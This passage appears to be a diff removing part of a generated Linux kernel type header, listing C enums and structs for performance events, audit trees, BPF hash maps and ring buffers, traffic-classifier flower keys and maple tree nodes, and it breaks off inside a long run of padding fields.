P4_EVENT_EXECUTION_EVENT__BOGUS3 = 65536, - P4_EVENT_REPLAY_EVENT__NBOGUS = 512, - P4_EVENT_REPLAY_EVENT__BOGUS = 1024, - P4_EVENT_INSTR_RETIRED__NBOGUSNTAG = 512, - P4_EVENT_INSTR_RETIRED__NBOGUSTAG = 1024, - P4_EVENT_INSTR_RETIRED__BOGUSNTAG = 2048, - P4_EVENT_INSTR_RETIRED__BOGUSTAG = 4096, - P4_EVENT_UOPS_RETIRED__NBOGUS = 512, - P4_EVENT_UOPS_RETIRED__BOGUS = 1024, - P4_EVENT_UOP_TYPE__TAGLOADS = 1024, - P4_EVENT_UOP_TYPE__TAGSTORES = 2048, - P4_EVENT_BRANCH_RETIRED__MMNP = 512, - P4_EVENT_BRANCH_RETIRED__MMNM = 1024, - P4_EVENT_BRANCH_RETIRED__MMTP = 2048, - P4_EVENT_BRANCH_RETIRED__MMTM = 4096, - P4_EVENT_MISPRED_BRANCH_RETIRED__NBOGUS = 512, - P4_EVENT_X87_ASSIST__FPSU = 512, - P4_EVENT_X87_ASSIST__FPSO = 1024, - P4_EVENT_X87_ASSIST__POAO = 2048, - P4_EVENT_X87_ASSIST__POAU = 4096, - P4_EVENT_X87_ASSIST__PREA = 8192, - P4_EVENT_MACHINE_CLEAR__CLEAR = 512, - P4_EVENT_MACHINE_CLEAR__MOCLEAR = 1024, - P4_EVENT_MACHINE_CLEAR__SMCLEAR = 2048, - P4_EVENT_INSTR_COMPLETED__NBOGUS = 512, - P4_EVENT_INSTR_COMPLETED__BOGUS = 1024, -}; - -enum P4_PEBS_METRIC { - P4_PEBS_METRIC__none = 0, - P4_PEBS_METRIC__1stl_cache_load_miss_retired = 1, - P4_PEBS_METRIC__2ndl_cache_load_miss_retired = 2, - P4_PEBS_METRIC__dtlb_load_miss_retired = 3, - P4_PEBS_METRIC__dtlb_store_miss_retired = 4, - P4_PEBS_METRIC__dtlb_all_miss_retired = 5, - P4_PEBS_METRIC__tagged_mispred_branch = 6, - P4_PEBS_METRIC__mob_load_replay_retired = 7, - P4_PEBS_METRIC__split_load_retired = 8, - P4_PEBS_METRIC__split_store_retired = 9, - P4_PEBS_METRIC__max = 10, -}; - -struct p4_event_bind { - unsigned int opcode; - unsigned int escr_msr[2]; - unsigned int escr_emask; - unsigned int shared; - char cntr[6]; -}; - -struct p4_pebs_bind { - unsigned int metric_pebs; - unsigned int metric_vert; -}; - -struct p4_event_alias { - u64 original; - u64 alternative; -}; - -struct wakeup_header { - u16 video_mode; - u32 pmode_entry; - u16 pmode_cs; - u32 pmode_cr0; - u32 pmode_cr3; - u32 pmode_cr4; - u32 pmode_efer_low; - u32 pmode_efer_high; - u64 pmode_gdt; - u32 pmode_misc_en_low; - u32 pmode_misc_en_high; - u32 pmode_behavior; - u32 realmode_flags; - u32 real_magic; - u32 signature; -} __attribute__((packed)); - -struct numa_memblk { - u64 start; - u64 end; - int nid; -}; - -struct numa_meminfo { - int nr_blks; - struct numa_memblk blk[128]; -}; - -struct audit_chunk; - -struct audit_tree { - refcount_t count; - int goner; - struct audit_chunk *root; - struct list_head chunks; - struct list_head rules; - struct list_head list; - struct list_head same_root; - struct callback_head head; - char pathname[0]; -}; - -struct audit_node { - struct list_head list; - struct audit_tree *owner; - unsigned int index; -}; - -struct audit_chunk { - struct list_head hash; - long unsigned int key; - struct fsnotify_mark *mark; - struct list_head trees; - int count; - atomic_long_t refs; - struct callback_head head; - struct audit_node owners[0]; -}; - -struct audit_tree_mark { - struct fsnotify_mark mark; - struct audit_chunk *chunk; -}; - -enum { - HASH_SIZE = 128, -}; - -struct pcpu_freelist_node; - -struct pcpu_freelist_head { - struct pcpu_freelist_node *first; - raw_spinlock_t lock; -}; - -struct pcpu_freelist_node { - struct pcpu_freelist_node *next; -}; - -struct pcpu_freelist { - struct pcpu_freelist_head *freelist; - struct pcpu_freelist_head extralist; -}; - -struct bpf_lru_node { - struct list_head list; - u16 cpu; - u8 type; - u8 ref; -}; - -struct bpf_lru_list { - struct list_head lists[3]; - unsigned int counts[2]; - struct list_head *next_inactive_rotation; - raw_spinlock_t lock; -}; - -struct bpf_lru_locallist { - struct list_head lists[2]; - u16 next_steal; - raw_spinlock_t lock; -}; - -struct bpf_common_lru { - struct bpf_lru_list lru_list; - struct bpf_lru_locallist *local_list; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -typedef bool (*del_from_htab_func)(void *, struct bpf_lru_node *); - -struct bpf_lru { - union { - struct bpf_common_lru common_lru; - struct bpf_lru_list *percpu_lru; - }; - del_from_htab_func del_from_htab; - void *del_arg; - unsigned int hash_offset; - unsigned int nr_scans; - bool percpu; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct bucket { - struct hlist_nulls_head head; - raw_spinlock_t raw_lock; -}; - -struct htab_elem; - -struct bpf_htab { - struct bpf_map map; - struct bpf_mem_alloc ma; - struct bpf_mem_alloc pcpu_ma; - struct bucket *buckets; - void *elems; - union { - struct pcpu_freelist freelist; - struct bpf_lru lru; - }; - struct htab_elem **extra_elems; - struct percpu_counter pcount; - atomic_t count; - bool use_percpu_counter; - u32 n_buckets; - u32 elem_size; - u32 hashrnd; - struct lock_class_key lockdep_key; - int *map_locked[8]; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct htab_elem { - union { - struct hlist_nulls_node hash_node; - struct { - void *padding; - union { - struct pcpu_freelist_node fnode; - struct htab_elem *batch_flink; - }; - }; - }; - union { - void *ptr_to_pptr; - struct bpf_lru_node lru_node; - }; - u32 hash; - long: 0; - char key[0]; -}; - -struct bpf_iter_seq_hash_map_info { - struct bpf_map *map; - struct bpf_htab *htab; - void *percpu_value_buf; - u32 bucket_id; - u32 skip_elems; -}; - -struct font_data { - unsigned int extra[4]; - const unsigned char data[0]; -}; - -struct pci_bus_resource { - struct list_head list; - struct resource *res; - unsigned int flags; -}; - -struct sysrq_key_op { - void (* const handler)(int); - const char * const help_msg; - const char * const action_msg; - const int enable_mask; -}; - -struct sysrq_state { - struct input_handle handle; - struct work_struct reinject_work; - long unsigned int key_down[12]; - unsigned int alt; - unsigned int alt_use; - unsigned int shift; - unsigned int shift_use; - bool active; - bool need_reinject; - bool reinjecting; - bool reset_canceled; - bool reset_requested; - long unsigned int reset_keybit[12]; - int reset_seq_len; - int reset_seq_cnt; - int reset_seq_version; - struct timer_list keyreset_timer; -}; - -struct trace_event_raw_dma_fence { - struct trace_entry ent; - u32 __data_loc_driver; - u32 __data_loc_timeline; - unsigned int context; - unsigned int seqno; - char __data[0]; -}; - -struct trace_event_data_offsets_dma_fence { - u32 driver; - u32 timeline; -}; - -typedef void (*btf_trace_dma_fence_emit)(void *, struct dma_fence *); - -typedef void (*btf_trace_dma_fence_init)(void *, struct dma_fence *); - -typedef void (*btf_trace_dma_fence_destroy)(void *, struct dma_fence *); - -typedef void (*btf_trace_dma_fence_enable_signal)(void *, struct dma_fence *); - -typedef void (*btf_trace_dma_fence_signaled)(void *, struct dma_fence *); - -typedef void (*btf_trace_dma_fence_wait_start)(void *, struct dma_fence *); - -typedef void (*btf_trace_dma_fence_wait_end)(void *, struct dma_fence *); - -struct default_wait_cb { - struct dma_fence_cb base; - struct task_struct *task; -}; - -struct of_bus; - -struct of_pci_range_parser { - struct device_node *node; - struct of_bus *bus; - const __be32 *range; - const __be32 *end; - int na; - int ns; - int pna; - bool dma; -}; - -struct of_pci_range { - union { - u64 pci_addr; - u64 bus_addr; - }; - u64 cpu_addr; - u64 size; - u32 flags; -}; - -enum { - M_I17 = 0, - M_I20 = 1, - M_I20_SR = 2, - M_I24 = 3, - M_I24_8_1 = 4, - M_I24_10_1 = 5, - M_I27_11_1 = 6, - M_MINI = 7, - M_MINI_3_1 = 8, - M_MINI_4_1 = 9, - M_MB = 10, - M_MB_2 = 11, - M_MB_3 = 12, - M_MB_5_1 = 13, - M_MB_6_1 = 14, - M_MB_7_1 = 15, - M_MB_SR = 16, - M_MBA = 17, - M_MBA_3 = 18, - M_MBP = 19, - M_MBP_2 = 20, - M_MBP_2_2 = 21, - M_MBP_SR = 22, - M_MBP_4 = 23, - M_MBP_5_1 = 24, - M_MBP_5_2 = 25, - M_MBP_5_3 = 26, - M_MBP_6_1 = 27, - M_MBP_6_2 = 28, - M_MBP_7_1 = 29, - M_MBP_8_2 = 30, - M_UNKNOWN = 31, -}; - -struct efifb_dmi_info { - char *optname; - long unsigned int base; - int stride; - int width; - int height; - int flags; -}; - -enum { - OVERRIDE_NONE = 0, - OVERRIDE_BASE = 1, - OVERRIDE_STRIDE = 2, - OVERRIDE_HEIGHT = 4, - OVERRIDE_WIDTH = 8, -}; - -struct flow_dissector_key_hash { - u32 hash; -}; - -struct flow_dissector_key_num_of_vlans { - u8 num_of_vlans; -}; - -enum { - TCA_FLOWER_UNSPEC = 0, - TCA_FLOWER_CLASSID = 1, - TCA_FLOWER_INDEV = 2, - TCA_FLOWER_ACT = 3, - TCA_FLOWER_KEY_ETH_DST = 4, - TCA_FLOWER_KEY_ETH_DST_MASK = 5, - TCA_FLOWER_KEY_ETH_SRC = 6, - TCA_FLOWER_KEY_ETH_SRC_MASK = 7, - TCA_FLOWER_KEY_ETH_TYPE = 8, - TCA_FLOWER_KEY_IP_PROTO = 9, - TCA_FLOWER_KEY_IPV4_SRC = 10, - TCA_FLOWER_KEY_IPV4_SRC_MASK = 11, - TCA_FLOWER_KEY_IPV4_DST = 12, - TCA_FLOWER_KEY_IPV4_DST_MASK = 13, - TCA_FLOWER_KEY_IPV6_SRC = 14, - TCA_FLOWER_KEY_IPV6_SRC_MASK = 15, - TCA_FLOWER_KEY_IPV6_DST = 16, - TCA_FLOWER_KEY_IPV6_DST_MASK = 17, - TCA_FLOWER_KEY_TCP_SRC = 18, - TCA_FLOWER_KEY_TCP_DST = 19, - TCA_FLOWER_KEY_UDP_SRC = 20, - TCA_FLOWER_KEY_UDP_DST = 21, - TCA_FLOWER_FLAGS = 22, - TCA_FLOWER_KEY_VLAN_ID = 23, - TCA_FLOWER_KEY_VLAN_PRIO = 24, - TCA_FLOWER_KEY_VLAN_ETH_TYPE = 25, - TCA_FLOWER_KEY_ENC_KEY_ID = 26, - TCA_FLOWER_KEY_ENC_IPV4_SRC = 27, - TCA_FLOWER_KEY_ENC_IPV4_SRC_MASK = 28, - TCA_FLOWER_KEY_ENC_IPV4_DST = 29, - TCA_FLOWER_KEY_ENC_IPV4_DST_MASK = 30, - TCA_FLOWER_KEY_ENC_IPV6_SRC = 31, - TCA_FLOWER_KEY_ENC_IPV6_SRC_MASK = 32, - TCA_FLOWER_KEY_ENC_IPV6_DST = 33, - TCA_FLOWER_KEY_ENC_IPV6_DST_MASK = 34, - TCA_FLOWER_KEY_TCP_SRC_MASK = 35, - TCA_FLOWER_KEY_TCP_DST_MASK = 36, - TCA_FLOWER_KEY_UDP_SRC_MASK = 37, - TCA_FLOWER_KEY_UDP_DST_MASK = 38, - TCA_FLOWER_KEY_SCTP_SRC_MASK = 39, - TCA_FLOWER_KEY_SCTP_DST_MASK = 40, - TCA_FLOWER_KEY_SCTP_SRC = 41, - TCA_FLOWER_KEY_SCTP_DST = 42, - TCA_FLOWER_KEY_ENC_UDP_SRC_PORT = 43, - TCA_FLOWER_KEY_ENC_UDP_SRC_PORT_MASK = 44, - TCA_FLOWER_KEY_ENC_UDP_DST_PORT = 45, - TCA_FLOWER_KEY_ENC_UDP_DST_PORT_MASK = 46, - TCA_FLOWER_KEY_FLAGS = 47, - TCA_FLOWER_KEY_FLAGS_MASK = 48, - TCA_FLOWER_KEY_ICMPV4_CODE = 49, - TCA_FLOWER_KEY_ICMPV4_CODE_MASK = 50, - TCA_FLOWER_KEY_ICMPV4_TYPE = 51, - TCA_FLOWER_KEY_ICMPV4_TYPE_MASK = 52, - TCA_FLOWER_KEY_ICMPV6_CODE = 53, - TCA_FLOWER_KEY_ICMPV6_CODE_MASK = 54, - TCA_FLOWER_KEY_ICMPV6_TYPE = 55, - TCA_FLOWER_KEY_ICMPV6_TYPE_MASK = 56, - TCA_FLOWER_KEY_ARP_SIP = 57, - TCA_FLOWER_KEY_ARP_SIP_MASK = 58, - TCA_FLOWER_KEY_ARP_TIP = 59, - TCA_FLOWER_KEY_ARP_TIP_MASK = 60, - TCA_FLOWER_KEY_ARP_OP = 61, - TCA_FLOWER_KEY_ARP_OP_MASK = 62, - TCA_FLOWER_KEY_ARP_SHA = 63, - TCA_FLOWER_KEY_ARP_SHA_MASK = 64, - TCA_FLOWER_KEY_ARP_THA = 65, - TCA_FLOWER_KEY_ARP_THA_MASK = 66, - TCA_FLOWER_KEY_MPLS_TTL = 67, - TCA_FLOWER_KEY_MPLS_BOS = 68, - TCA_FLOWER_KEY_MPLS_TC = 69, - TCA_FLOWER_KEY_MPLS_LABEL = 70, - TCA_FLOWER_KEY_TCP_FLAGS = 71, - TCA_FLOWER_KEY_TCP_FLAGS_MASK = 72, - TCA_FLOWER_KEY_IP_TOS = 73, - TCA_FLOWER_KEY_IP_TOS_MASK = 74, - TCA_FLOWER_KEY_IP_TTL = 75, - TCA_FLOWER_KEY_IP_TTL_MASK = 76, - TCA_FLOWER_KEY_CVLAN_ID = 77, - TCA_FLOWER_KEY_CVLAN_PRIO = 78, - TCA_FLOWER_KEY_CVLAN_ETH_TYPE = 79, - TCA_FLOWER_KEY_ENC_IP_TOS = 80, - TCA_FLOWER_KEY_ENC_IP_TOS_MASK = 81, - TCA_FLOWER_KEY_ENC_IP_TTL = 82, - TCA_FLOWER_KEY_ENC_IP_TTL_MASK = 83, - TCA_FLOWER_KEY_ENC_OPTS = 84, - TCA_FLOWER_KEY_ENC_OPTS_MASK = 85, - TCA_FLOWER_IN_HW_COUNT = 86, - TCA_FLOWER_KEY_PORT_SRC_MIN = 87, - TCA_FLOWER_KEY_PORT_SRC_MAX = 88, - TCA_FLOWER_KEY_PORT_DST_MIN = 89, - TCA_FLOWER_KEY_PORT_DST_MAX = 90, - TCA_FLOWER_KEY_CT_STATE = 91, - TCA_FLOWER_KEY_CT_STATE_MASK = 92, - TCA_FLOWER_KEY_CT_ZONE = 93, - TCA_FLOWER_KEY_CT_ZONE_MASK = 94, - TCA_FLOWER_KEY_CT_MARK = 95, - TCA_FLOWER_KEY_CT_MARK_MASK = 96, - TCA_FLOWER_KEY_CT_LABELS = 97, - TCA_FLOWER_KEY_CT_LABELS_MASK = 98, - TCA_FLOWER_KEY_MPLS_OPTS = 99, - TCA_FLOWER_KEY_HASH = 100, - TCA_FLOWER_KEY_HASH_MASK = 101, - TCA_FLOWER_KEY_NUM_OF_VLANS = 102, - TCA_FLOWER_KEY_PPPOE_SID = 103, - TCA_FLOWER_KEY_PPP_PROTO = 104, - TCA_FLOWER_KEY_L2TPV3_SID = 105, - __TCA_FLOWER_MAX = 106, -}; - -enum { - TCA_FLOWER_KEY_CT_FLAGS_NEW = 1, - TCA_FLOWER_KEY_CT_FLAGS_ESTABLISHED = 2, - TCA_FLOWER_KEY_CT_FLAGS_RELATED = 4, - TCA_FLOWER_KEY_CT_FLAGS_TRACKED = 8, - TCA_FLOWER_KEY_CT_FLAGS_INVALID = 16, - TCA_FLOWER_KEY_CT_FLAGS_REPLY = 32, - __TCA_FLOWER_KEY_CT_FLAGS_MAX = 33, -}; - -enum { - TCA_FLOWER_KEY_ENC_OPTS_UNSPEC = 0, - TCA_FLOWER_KEY_ENC_OPTS_GENEVE = 1, - TCA_FLOWER_KEY_ENC_OPTS_VXLAN = 2, - TCA_FLOWER_KEY_ENC_OPTS_ERSPAN = 3, - TCA_FLOWER_KEY_ENC_OPTS_GTP = 4, - __TCA_FLOWER_KEY_ENC_OPTS_MAX = 5, -}; - -enum { - TCA_FLOWER_KEY_ENC_OPT_GENEVE_UNSPEC = 0, - TCA_FLOWER_KEY_ENC_OPT_GENEVE_CLASS = 1, - TCA_FLOWER_KEY_ENC_OPT_GENEVE_TYPE = 2, - TCA_FLOWER_KEY_ENC_OPT_GENEVE_DATA = 3, - __TCA_FLOWER_KEY_ENC_OPT_GENEVE_MAX = 4, -}; - -enum { - TCA_FLOWER_KEY_ENC_OPT_VXLAN_UNSPEC = 0, - TCA_FLOWER_KEY_ENC_OPT_VXLAN_GBP = 1, - __TCA_FLOWER_KEY_ENC_OPT_VXLAN_MAX = 2, -}; - -enum { - TCA_FLOWER_KEY_ENC_OPT_ERSPAN_UNSPEC = 0, - TCA_FLOWER_KEY_ENC_OPT_ERSPAN_VER = 1, - TCA_FLOWER_KEY_ENC_OPT_ERSPAN_INDEX = 2, - TCA_FLOWER_KEY_ENC_OPT_ERSPAN_DIR = 3, - TCA_FLOWER_KEY_ENC_OPT_ERSPAN_HWID = 4, - __TCA_FLOWER_KEY_ENC_OPT_ERSPAN_MAX = 5, -}; - -enum { - TCA_FLOWER_KEY_ENC_OPT_GTP_UNSPEC = 0, - TCA_FLOWER_KEY_ENC_OPT_GTP_PDU_TYPE = 1, - TCA_FLOWER_KEY_ENC_OPT_GTP_QFI = 2, - __TCA_FLOWER_KEY_ENC_OPT_GTP_MAX = 3, -}; - -enum { - TCA_FLOWER_KEY_MPLS_OPTS_UNSPEC = 0, - TCA_FLOWER_KEY_MPLS_OPTS_LSE = 1, - __TCA_FLOWER_KEY_MPLS_OPTS_MAX = 2, -}; - -enum { - TCA_FLOWER_KEY_MPLS_OPT_LSE_UNSPEC = 0, - TCA_FLOWER_KEY_MPLS_OPT_LSE_DEPTH = 1, - TCA_FLOWER_KEY_MPLS_OPT_LSE_TTL = 2, - TCA_FLOWER_KEY_MPLS_OPT_LSE_BOS = 3, - TCA_FLOWER_KEY_MPLS_OPT_LSE_TC = 4, - TCA_FLOWER_KEY_MPLS_OPT_LSE_LABEL = 5, - __TCA_FLOWER_KEY_MPLS_OPT_LSE_MAX = 6, -}; - -enum { - TCA_FLOWER_KEY_FLAGS_IS_FRAGMENT = 1, - TCA_FLOWER_KEY_FLAGS_FRAG_IS_FIRST = 2, -}; - -enum flow_cls_command { - FLOW_CLS_REPLACE = 0, - FLOW_CLS_DESTROY = 1, - FLOW_CLS_STATS = 2, - FLOW_CLS_TMPLT_CREATE = 3, - FLOW_CLS_TMPLT_DESTROY = 4, -}; - -struct flow_cls_offload { - struct flow_cls_common_offload common; - enum flow_cls_command command; - long unsigned int cookie; - struct flow_rule *rule; - struct flow_stats stats; - u32 classid; -}; - -enum tcf_proto_ops_flags { - TCF_PROTO_OPS_DOIT_UNLOCKED = 1, -}; - -struct gtp_pdu_session_info { - u8 pdu_type; - u8 qfi; -}; - -struct fl_flow_key { - struct flow_dissector_key_meta meta; - struct flow_dissector_key_control control; - struct flow_dissector_key_control enc_control; - struct flow_dissector_key_basic basic; - struct flow_dissector_key_eth_addrs eth; - struct flow_dissector_key_vlan vlan; - struct flow_dissector_key_vlan cvlan; - union { - struct flow_dissector_key_ipv4_addrs ipv4; - struct flow_dissector_key_ipv6_addrs ipv6; - }; - struct flow_dissector_key_ports tp; - struct flow_dissector_key_icmp icmp; - struct flow_dissector_key_arp arp; - struct flow_dissector_key_keyid enc_key_id; - union { - struct flow_dissector_key_ipv4_addrs enc_ipv4; - struct flow_dissector_key_ipv6_addrs enc_ipv6; - }; - struct flow_dissector_key_ports enc_tp; - struct flow_dissector_key_mpls mpls; - struct flow_dissector_key_tcp tcp; - struct flow_dissector_key_ip ip; - struct flow_dissector_key_ip enc_ip; - struct flow_dissector_key_enc_opts enc_opts; - struct flow_dissector_key_ports_range tp_range; - struct flow_dissector_key_ct ct; - struct flow_dissector_key_hash hash; - struct flow_dissector_key_num_of_vlans num_of_vlans; - struct flow_dissector_key_pppoe pppoe; - struct flow_dissector_key_l2tpv3 l2tpv3; -}; - -struct fl_flow_mask_range { - short unsigned int start; - short unsigned int end; -}; - -struct fl_flow_mask { - struct fl_flow_key key; - struct fl_flow_mask_range range; - u32 flags; - struct rhash_head ht_node; - struct rhashtable ht; - struct rhashtable_params filter_ht_params; - struct flow_dissector dissector; - struct list_head filters; - struct rcu_work rwork; - struct list_head list; - refcount_t refcnt; -}; - -struct fl_flow_tmplt { - struct fl_flow_key dummy_key; - struct fl_flow_key mask; - struct flow_dissector dissector; - struct tcf_chain *chain; -}; - -struct cls_fl_head { - struct rhashtable ht; - spinlock_t masks_lock; - struct list_head masks; - struct list_head hw_filters; - struct rcu_work rwork; - struct idr handle_idr; -}; - -struct cls_fl_filter { - struct fl_flow_mask *mask; - struct rhash_head ht_node; - struct fl_flow_key mkey; - struct tcf_exts exts; - struct tcf_result res; - struct fl_flow_key key; - struct list_head list; - struct list_head hw_list; - u32 handle; - u32 flags; - u32 in_hw_count; - struct rcu_work rwork; - struct net_device *hw_dev; - refcount_t refcnt; - bool deleted; -}; - -struct ipv4_addr_key { - __be32 addr; - int vif; -}; - -struct inetpeer_addr { - union { - struct ipv4_addr_key a4; - struct in6_addr a6; - u32 key[4]; - }; - __u16 family; -}; - -struct inet_peer { - struct rb_node rb_node; - struct inetpeer_addr daddr; - u32 metrics[17]; - u32 rate_tokens; - u32 n_redirects; - long unsigned int rate_last; - union { - struct { - atomic_t rid; - }; - struct callback_head rcu; - }; - __u32 dtime; - refcount_t refcnt; -}; - -struct ac6_iter_state { - struct seq_net_private p; - struct net_device *dev; - struct inet6_dev *idev; -}; - -struct maple_metadata { - unsigned char end; - unsigned char gap; -}; - -struct maple_pnode; - -struct maple_range_64 { - struct maple_pnode *parent; - long unsigned int pivot[15]; - union { - void *slot[16]; - struct { - void *pad[15]; - struct maple_metadata meta; - }; - }; -}; - -struct maple_arange_64 { - struct maple_pnode *parent; - long unsigned int pivot[9]; - void *slot[10]; - long unsigned int gap[10]; - struct maple_metadata meta; -}; - -struct maple_topiary { - struct maple_pnode *parent; - struct maple_enode *next; -}; - -enum maple_type { - maple_dense = 0, - maple_leaf_64 = 1, - maple_range_64 = 2, - maple_arange_64 = 3, -}; - -struct maple_node { - union { - struct { - struct maple_pnode *parent; - void *slot[31]; - }; - struct { - void *pad; - struct callback_head rcu; - struct maple_enode *piv_parent; - unsigned char parent_slot; - enum maple_type type; - unsigned char slot_len; - unsigned int ma_flags; - }; - struct maple_range_64 mr64; - struct maple_arange_64 ma64; - struct maple_alloc alloc; - }; -}; - -struct ma_topiary { - struct maple_enode *head; - struct maple_enode *tail; - struct maple_tree *mtree; -}; - -struct ma_wr_state { - struct ma_state *mas; - struct maple_node *node; - long unsigned int r_min; - long unsigned int r_max; - enum maple_type type; - unsigned char offset_end; - unsigned char node_end; - long unsigned int *pivots; - long unsigned int end_piv; - void **slots; - void *entry; - void *content; -}; - -struct trace_event_raw_ma_op { - struct trace_entry ent; - const char *fn; - long unsigned int min; - long unsigned int max; - long unsigned int index; - long unsigned int last; - void *node; - char __data[0]; -}; - -struct trace_event_raw_ma_read { - struct trace_entry ent; - const char *fn; - long unsigned int min; - long unsigned int max; - long unsigned int index; - long unsigned int last; - void *node; - char __data[0]; -}; - -struct trace_event_raw_ma_write { - struct trace_entry ent; - const char *fn; - long unsigned int min; - long unsigned int max; - long unsigned int index; - long unsigned int last; - long unsigned int piv; - void *val; - void *node; - char __data[0]; -}; - -struct trace_event_data_offsets_ma_op {}; - -struct trace_event_data_offsets_ma_read {}; - -struct trace_event_data_offsets_ma_write {}; - -typedef void (*btf_trace_ma_op)(void *, const char *, struct ma_state *); - -typedef void (*btf_trace_ma_read)(void *, const char *, struct ma_state *); - -typedef void (*btf_trace_ma_write)(void *, const char *, struct ma_state *, long unsigned int, void *); - -struct maple_big_node { - struct maple_pnode *parent; - long unsigned int pivot[33]; - union { - struct maple_enode *slot[34]; - struct { - long unsigned int padding[21]; - long unsigned int gap[21]; - }; - }; - unsigned char b_end; - enum maple_type type; -}; - -struct maple_subtree_state { - struct ma_state *orig_l; - struct ma_state *orig_r; - struct ma_state *l; - struct ma_state *m; - struct ma_state *r; - struct ma_topiary *free; - struct ma_topiary *destroy; - struct maple_big_node *bn; -}; - -struct timer_list_iter { - int cpu; - bool second_pass; - u64 now; -}; - -typedef u32 note_buf_t[92]; - -enum { - BPF_RB_NO_WAKEUP = 1, - BPF_RB_FORCE_WAKEUP = 2, -}; - -enum { - BPF_RB_AVAIL_DATA = 0, - BPF_RB_RING_SIZE = 1, - BPF_RB_CONS_POS = 2, - BPF_RB_PROD_POS = 3, -}; - -enum { - BPF_RINGBUF_BUSY_BIT = 2147483648, - BPF_RINGBUF_DISCARD_BIT = 1073741824, - BPF_RINGBUF_HDR_SZ = 8, -}; - -struct bpf_ringbuf { - wait_queue_head_t waitq; - struct irq_work work; - u64 mask; - struct page **pages; - int nr_pages; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - spinlock_t spinlock; - atomic_t busy; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 